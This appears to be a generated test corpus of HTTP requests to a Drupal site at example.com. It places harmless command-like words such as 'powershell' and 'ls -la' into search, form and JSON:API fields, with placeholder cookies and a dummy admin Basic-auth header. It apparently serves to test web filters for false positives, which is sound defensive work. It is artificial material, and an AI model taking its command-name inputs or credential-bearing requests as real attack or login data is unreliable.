{"method": "GET", "target": "/fr/admin/content?title=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/search/node?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/kTbsiUk3K87GlBBAjYhMayIWDWamtdsBC31lWLRHdzg?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/jsonapi/node/article?filter%5Btitle%5D=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/user/password?name=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/block-category/autocomplete?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/node/2/edit?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3Dpowershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \"powershell\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=powershell&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=powershell&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-39jdXePAKADieFAxtAyAbTASAZlWBD25eCMIE6Afa6Y&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-8i-ZobNtZSL-3O050WQd4fVWQcZ-Up1ggLaqKOyrMew&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-dGwYW4O30AY72IYovJIsrVbtEwplwChm7Ufp5Vj8Xn0&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-zWgUpFs_DRf8Z7uzAGog4tmcWPs48AL2L7JJ5WRqBj4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=powershell&body%5B0%5D%5Bvalue%5D=%3Cp%3Epowershell%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-f7T6e9-CWGNDjPXn-6pK1Fsb3EHB5BXd9I10o2ooqYQ&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-JPNGqpnYg8b0xXtuD-aw2iKACwYzPMeOVQGLGxlbYRA&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=python3%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-iIZ0l558j-xqeMwGupeCbJQrxGqJTGU0hf0Qgdflpqg&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=powershell&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=powershell&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-QxeeEtI4teTXZHcS8vw668mg82J8oWb3sweKrB8Xz60&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=powershell%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=powershell&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"powershell\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \"powershell\", \"description\": {\"value\": \"powershell\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \"powershell\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \"powershell\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \"powershell\"}}}"}
{"method": "GET", "target": "/user/password?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/ckeditor5/basic_html/entity-link-suggestions?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block-category/autocomplete?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/oembed?url=https%3A%2F%2Fvimeo.com%2Fchannels%2Fls%20-la&max_width=0&max_height=0&hash=example-hash", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/big_pipe/no-js?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/revert?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/node/2/revisions/3/delete?destination=/admin/content%3Ftitle%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/block/add/basic?destination=/admin/content/block%3Finfo%3Dls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media-library?media_library_opener_id=media_library.opener.field_widget&media_library_allowed_types%5Bimage%5D=image&media_library_selected_type=image&media_library_remaining=1&hash=example-hash&name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/views/ajax?_wrapper_format=drupal_ajax&name=ls%20-la&view_name=media_library&view_display_id=widget&view_args=image&view_path=%2Fadmin%2Fcontent%2Fmedia-widget&_drupal_ajax=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Cookie: SESSexample=example-session-value", "X-Requested-With: XMLHttpRequest"], "body": ""}
{"method": "GET", "target": "/fr/admin/content?title=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/media?name=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/people?user=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/files?filename=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/block?info=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/content/comment?subject=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/fr/admin/config/search/path?search=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
